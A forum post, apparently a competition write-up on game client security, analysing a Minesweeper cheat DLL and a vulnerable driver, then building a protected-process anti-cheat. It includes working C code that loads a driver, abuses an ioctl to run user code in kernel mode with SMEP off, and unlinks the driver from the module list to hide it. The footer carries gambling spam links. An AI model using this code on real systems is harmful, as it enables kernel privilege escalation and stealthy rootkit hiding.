吾愛破解 - LCG - LSG |安卓破解|病毒分析|001aa.com

 找回密碼
 注冊[Register]

QQ登錄

只需一步,快速開始

搜索
查看: 1759|回復: 4

[決賽第一題] 2020騰訊游戲安全技術復賽pc客戶端安全wp

  [復制鏈接]
樓主
shyoshyo 發表于 2020-4-14 01:18 回帖獎勵
本帖最后由 shyoshyo 于 2020-4-14 01:47 編輯

官網 http://gslab.qq.com/html/competition/2020/race-final.htm

這份 wp 的答案不一定正確,如果發現錯誤請一定幫我指出,感激不盡


Ring3


1.

用 WinDbg 查看已經加載的模塊,看到一個可疑的模塊


0:004> lm

start    end        module name

01000000 01020000   winmine    (deferred)            

6d030000 6d29a000   CoreUIComponents   (deferred)            

6e220000 6e266000   CheatTools   (deferred)            

6e2e0000 6e3bb000   WinTypes   (deferred)            

6e3c0000 6e44f000   CoreMessaging   (deferred)            


看一下這個模塊,看信息基本沒跑了


0:004> lm Dvm CheatTools

Browse full module list

start    end        module name

6e220000 6e266000   CheatTools   (deferred)            

    Image path: D:\Temp\bin\CheatTools.dll

    Image name: CheatTools.dll

    Browse all global symbols  functions  data

    Timestamp:        Sun Apr 23 14:46:00 2017 (58FC4DA8)

    CheckSum:         00045158

    ImageSize:        00046000

    File version:     1.0.0.1

    Product version:  1.0.0.1

    File flags:       0 (Mask 3F)

    File OS:          4 Unknown Win32

    File type:        2.0 Dll

    File date:        00000000.00000000

    Translations:     0804.03a8

    CompanyName:      TODO: <公司名>

    ProductName:      TODO: <產品名>

    InternalName:     CheatTools.dll

    OriginalFilename: CheatTools.dll

    ProductVersion:   1.0.0.1

    FileVersion:      1.0.0.1

    FileDescription:  TODO: <文件說明>

    LegalCopyright:   TODO: (C) <公司名>。保留所有權利。


后面可以分析,作弊的模塊就是這個 D:\Temp\bin\CheatTools.dll,模塊名 CheatTools


2. Dump 這個模塊


0:004> .writemem C:\CheatTools.dll 6e220000 6e266000-1


修一下偏移




丟到 IDA 里逆向分析,可以看到初試中出現的兩個指令 patch





按照初賽的分析,6E221660 對應鎖時,6E2216D0 對應防死



還有一個 6E221820函數:





這個6E221820函數先調用游戲自身的 playat(1, 1) 先下一步,避免 (1, 1) 就是雷,導致重新隨機化。0x1003512 即游戲自身的 playat 函數。


隨后這個6E221820函數會讀取 0x1005340 開始的內存,通過動態分析游戲,不難發現此處存儲了地雷的信息






游戲進行過程中,0x1005340 區域開始的 8F 即地雷,因此 6E2218B3 前半部分在獲取地雷游戲信息,之后,該函數會計算地雷的行列值:




最后調用游戲自身的 playat 函數,實現 autoplay:





另外還有一個6E221AC0函數,前半部分跟 6E2218B3差不多,但最后一步不是 playat 而是輸出




因此這個函數實現了透視掛的功能




總結而言,這個外掛的有四個核心函數:


6E221660 鎖時

6E2216D0 防死

6E221820 autoplay

6E221AC0 透視



=====================================================


Ring0

Part 1

1. 直接啟動服務,提示


[SC] StartService FAILED 225:


Operation did not complete successfully because the file contains a virus or potentially unwanted software.


分析后發現代碼初始化回調函數部分返回 0xC0000906 導致系統提示上述信息





patch 該初始化函數的返位值為 0 即可加載,見 Driver_patched.drv









2.


配置注冊表,使用 LookupPrivilegeValueA 和 AdjustTokenPrivileges 提升 SE_LOAD_DRIVER_NAME 權限,調用 ZwLoadDriver 加載驅動,見 load.c 和 load.exe。

編譯方法為:

cl load.c Advapi32.lib /Feload.exe


[C] 純文本查看 復制代碼
#include<windows.h>
#include<stdio.h>

typedef struct _FYPHER_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef DWORD (CALLBACK* RTLINITUNICODESTRING)(PVOID, PVOID);
RTLINITUNICODESTRING RtlInitUnicodeString;

typedef DWORD (CALLBACK* ZWLOADDRIVER)(PVOID);
ZWLOADDRIVER ZwLoadDriver;

void requestPrivilege()
{
        HANDLE hToken = NULL;
        LUID luid;
        TOKEN_PRIVILEGES tp;

        OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
        LookupPrivilegeValueA("", SE_LOAD_DRIVER_NAME, &luid);
        
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, 0);
        CloseHandle(hToken);
}

void loadDriver()
{
        HKEY hk;
        CHAR szBuf[] = "SYSTEM\\CurrentControlSet\\Services\\Driver";
        CHAR path[] = "\\??\\C:\\Driver.drv";
        CHAR objName[] = "Driver";
        DWORD start = 3;
        DWORD type = 1;
        DWORD errorControl = 1;
        UNICODE_STRING Name;
        
        HMODULE hNtdll = LoadLibraryW( L"ntdll.dll" );
        
        RtlInitUnicodeString = (RTLINITUNICODESTRING) GetProcAddress(hNtdll, "RtlInitUnicodeString");
        ZwLoadDriver = (ZWLOADDRIVER) GetProcAddress(hNtdll, "ZwLoadDriver");
        
        RegDeleteKeyA(HKEY_LOCAL_MACHINE, szBuf);
        RegCreateKeyA(HKEY_LOCAL_MACHINE, szBuf, &hk);
        RegSetValueExA(hk, "ImagePath", 0, REG_EXPAND_SZ,  (LPBYTE) path, sizeof(path));
        RegSetValueExA(hk, "Start", 0, REG_DWORD,  (LPBYTE) &start, sizeof(DWORD));
        RegSetValueExA(hk, "Type", 0, REG_DWORD, (LPBYTE) &type, sizeof(DWORD));
        RegSetValueExA(hk, "ErrorControl", 0, REG_DWORD, (LPBYTE) &errorControl, sizeof(DWORD));
        
        RtlInitUnicodeString(&Name, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Driver");
        ZwLoadDriver(&Name);
}

int main()
{
        requestPrivilege();
        loadDriver();
        return 0;
}




3. 驅動核心的 ioctl handler 函數在此








這個函數根據 (ioctl_code >> 2) & 0xfff 的值(即 function code)是否為 0x800/0x801/0x802/0x803,分配以下的四種功能:


0x800





0x801





0x802





0x803





其中,對于第一個 0x800,輸入為一個 0x10 字節的 buffer,輸出 0x4字節buffer。

對于后三個 0x801, 0x802, 0x803,輸入為一個 0x8 字節的 buffer,輸出 0x8字節buffer。


4.

第一個功能 0x800 是以 ring0 態執行用戶程序指定的命令





首先關閉 SMEP,然后一ring0態執行到用戶態程序指定的函數指針處,以用戶態程序指定的參數運行,并提供 MmGetSystemRoutineAddress 的地址供用戶態(越權到內核態的)程序調用。此調用輸入的數據結構為兩個參數,一個函數指針,一個指定的運行參數,共 0x8 + 0x8 = 0x10 字節,輸出的數據結構為 DWORD 的返回值,共 0x04字節。



后三個功能 0x801 0x802 0x803 均是計算 hash 值,分別為 MurmurHash64A, MurmurHash2, 和一個魔改了參數的 MurmurHash,通過搜索參數 6A4A7935BD1E99, 0x5BD1E995等不難找到。此調用輸入的數據結構為一個參數,指向數據的指針,共 0x8 字節,輸出的數據結構為 QWORD 的返回值,共 0x08字節。








5. 用戶態程序通過 0x800 ioctl opcode,可以直接“越權”在內核態做一些操作。利用這個調用,可以將該模塊從模塊鏈中刪除掉。

見程序 hide.c,編譯命令為


cl hide.c /Fehide.exe


[C] 純文本查看 復制代碼
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>

typedef struct _FYPHER_UNICODE_STRING {
        USHORT Length;
        USHORT MaximumLength;
        PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _DRIVERDATA
{
        LIST_ENTRY listentry;
        ULONG unknown1;
        ULONG unknown2;
        ULONG unknown3;
        ULONG unknown4;
        ULONG unknown5;
        ULONG unknown6;
        ULONG unknown7;
        UNICODE_STRING path;
        UNICODE_STRING name;
}DRIVERDATA, *PDRIVERDATA;

typedef struct _KLDR_DATA_TABLE_ENTRY
{
        LIST_ENTRY InLoadOrderLinks;
        PVOID ExceptionTable;
        ULONG ExceptionTableSize;
        // ULONG padding on IA64
        PVOID GpValue;
        PNON_PAGED_DEBUG_INFO NonPagedDebugInfo;
        PVOID DllBase;
        PVOID EntryPoint;
        ULONG SizeOfImage;
        UNICODE_STRING FullDllName;
        UNICODE_STRING BaseDllName;
        ULONG Flags;
        USHORT LoadCount;
        USHORT __Unused5;
        PVOID SectionPointer;
        ULONG CheckSum;
        // ULONG padding on IA64
        PVOID LoadedImports;
        PVOID PatchInformation;
}KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

PVOID MmGetSystemRoutineAdddbress;
PVOID arg;
PCHAR pRetAddr;
PCHAR pDriverBase;
PCHAR *ppDriverObject;
PCHAR pDriverObject;


DWORD fun()
{
        pRetAddr = _ReturnAddress();
        pDriverBase = pRetAddr - 0x2011;
        ppDriverObject = (PCHAR *)(pDriverBase + 0x4308);
        pDriverObject = *ppDriverObject;

        PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)(pDriverObject + 0x28); // pDriverObject->DriverSection

        PLIST_ENTRY f = entry->InLoadOrderLinks.Flink;
        PLIST_ENTRY b = entry->InLoadOrderLinks.Blink;

        entry->InLoadOrderLinks.Flink->Blink = b;
        entry->InLoadOrderLinks.Blink->Flink = f;
        entry->InLoadOrderLinks.Flink = entry;
        entry->InLoadOrderLinks.Blink = entry;

        return 0;
}

int main()
{
        HANDLE hDevice;
        BOOL bRc;
        ULONG bytesReturned;
        DWORD errNum = 0;

        PVOID Input[2];
        DWORD Output[1];

        Input[0] = &fun;
        Input[1] = NULL;

        if ((hDevice = CreateFile("\\\\.\\Hello123", GENERIC_READ | GENERIC_WRITE, 0, 
                NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
        {
                errNum = GetLastError();
                printf("CreateFile failed : %d\n", errNum);
                return ;
        }

        bRc = DeviceIoControl (hDevice, (DWORD) (0x800 << 2) | METHOD_BUFFERED,
                &Input, (DWORD) sizeof(Input), &Output, (DWORD) sizeof(Output), &bytesReturned, NULL);

        if ( !bRc )
        {
                printf ( "Error in DeviceIoControl : %d", GetLastError());
                return;
        }

        CloseHandle(hDevice);
}




PS: 這個題想到了之前搞過的一個驅動殼,暴力 ring3 提權到 ring0 改系統 hook,游戲是安全了,但留下個重大安全漏洞,熟悉的配方熟悉的味道(x

http://securelist.com/elevation-of-privileges-in-namco-driver/83707/


PPS: 這段程序沒過 PatchGuard,可能會藍屏

6. 查看后不難發現,該文件為一個殼的內存 dump,入口在 0x0 處





第一條語句調用 0x275c0 函數,參數(即 0x275c0 中的 rcx)為 0x5 開始的壓縮程序數據內容:





我們可以把它編譯為一個 PE 文件直接執行,見匯編程序 flag.asm,編譯的命令為:


ml64 flag.asm /Foflag.obj /c

link /subsystem:console /nodefaultlib /entry:main flag.obj


[Asm] 純文本查看 復制代碼
.data
dq base;

.code
base:

db 0e8h
db 0bbh
db 075h
db 002h
db 000h
db 0bbh
db 075h
db 002h
db 000h
db 054h
# 省略若干題目提供的文件內容
db 000h
db 000h

main proc
    jmp base
main endp

end


運行下來即可得到 flag





因此最終的 flag 為” 16447126361811417937 “(注意前后各有一個空格)


PS:這個殼不需要任何導入函數,從 TEB 直接懟所需要的導入函數信息,這操作太騷了,日后有時間一定仔細研究研究



Part 2


我們通過修改游戲進程的 EPROCESS 結構中的 protection 成員,使其成為保護進程 (Protected Process),從而防止其他程序讀寫本游戲程序的內存,實現反外掛。


Ring0部分修改 EPROCESS 結構的核心代碼如下,位于驅動的ioctl handler 編號 0x815 處:





[C] 純文本查看 復制代碼
        {
                //
                // kd> dt nt!_EPROCESS
                //    +0x6f9 SectionSignatureLevel : UCh
                //    +0x6fa Protection       : _PS_PROTECTION
                //    +0x6fb HangCount : Pos 0, 3 Bits
                //
                // kd> dt nt!_PS_PROTECTION
                //   +0x000 Level            : UChar
                //         + 0x000 Type : Pos 0, 3 Bits
                //        + 0x000 Audit : Pos 3, 1 Bit
                //        + 0x000 Signer : Pos 4, 4 Bits
                //

                PCHAR pEProcess = (PCHAR) PsGetCurrentProcess();
                PPS_PROTECTION pPPL = (PPS_PROTECTION)(pEProcess + 0x6fa);

                PS_PROTECTION protection = { 0 };
                protection.Flags.Signer = PsProtectedSignerWinTcb;
                protection.Flags.Type = PsProtectedTypeProtected;
                *pPPL = protection;

                KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[MyDriver] set!!\n"));

                // Set status as success
                status = STATUS_SUCCESS;
                Irp->IoStatus.Information = 0;
                break;
        }


該代碼中,中相關 struct 的偏移基于 1903,如果是其他版本的win10 可能需要微調偏移。驅動 ring0 部分的具體實現詳見ProtectedProcess.c/sys。實現參考了開源代碼http://github.com/notscimmy/pplib

在游戲啟動時,游戲程序需要主動調用驅動的 0x815 iotcl,運行上述ring0 代碼修改當前游戲進程的EPROCESS信息,將當前進程變為保護進程,從而實現反外掛。這里我們用一個 dll 表示該請求過程,需要在游戲啟動階段注入到游戲進程中,詳見 protected.c/dll 。實際業務中可以把它整合到引擎啟動階段,不必獨立成一個 dll 注入到程序中。


需要以管理員權限運行游戲,運行 dll前需要將 ProtectedProcess.sys 放到 C:\ProtectedProcess.sys。

我們準備了兩個錄像 antiesp_enabled.movantieap_disabled.mov 展示開啟/關閉反外掛后的效果。


本帖子中包含更多資源

您需要 登錄 才可以下載或查看,沒有帳號?注冊[Register]

x

免費評分

參與人數 4威望 +2 吾愛幣 +102 熱心值 +4 收起 理由
bbnlrx + 1 + 1 我很贊同!
minibeetuaman + 1 我很贊同!
Hmily + 2 + 100 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
上將無雙 + 1 + 1 用心討論,共獲提升!

查看全部評分

發帖前要善用論壇搜索功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

沙發
細水流長 發表于 2020-4-15 19:44
雖然有些地方還看不懂(#-.-),不過感覺好厲害,大佬加油!
3#
vzzmieshenquan 發表于 2020-4-22 15:54
4#
minibeetuaman 發表于 2020-4-29 15:05
5#
xuexixinzishi 發表于 2020-5-6 12:48
太厲害了吧
您需要登錄后才可以回帖 登錄 | 注冊[Register]

本版積分規則

快速回復 收藏帖子 返回列表 搜索

RSS訂閱|小黑屋|聯系我們|吾愛破解 - LCG - LSG ( )

GMT+8, 2020-5-25 08:48

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回復 返回頂部 返回列表
时时彩平台官网-欢迎您 时时彩平台注册-爱问知识人 时时彩平台app-互动百科 时时彩平台投注-百科词条 超级快三-搜霸天下 时时彩平台邀请码-即可搜索 时时彩平台开户-新浪爱彩 彩神大发快三-一定牛 彩神大发快三官网-360云盘 彩神大发快三注册-百度耨米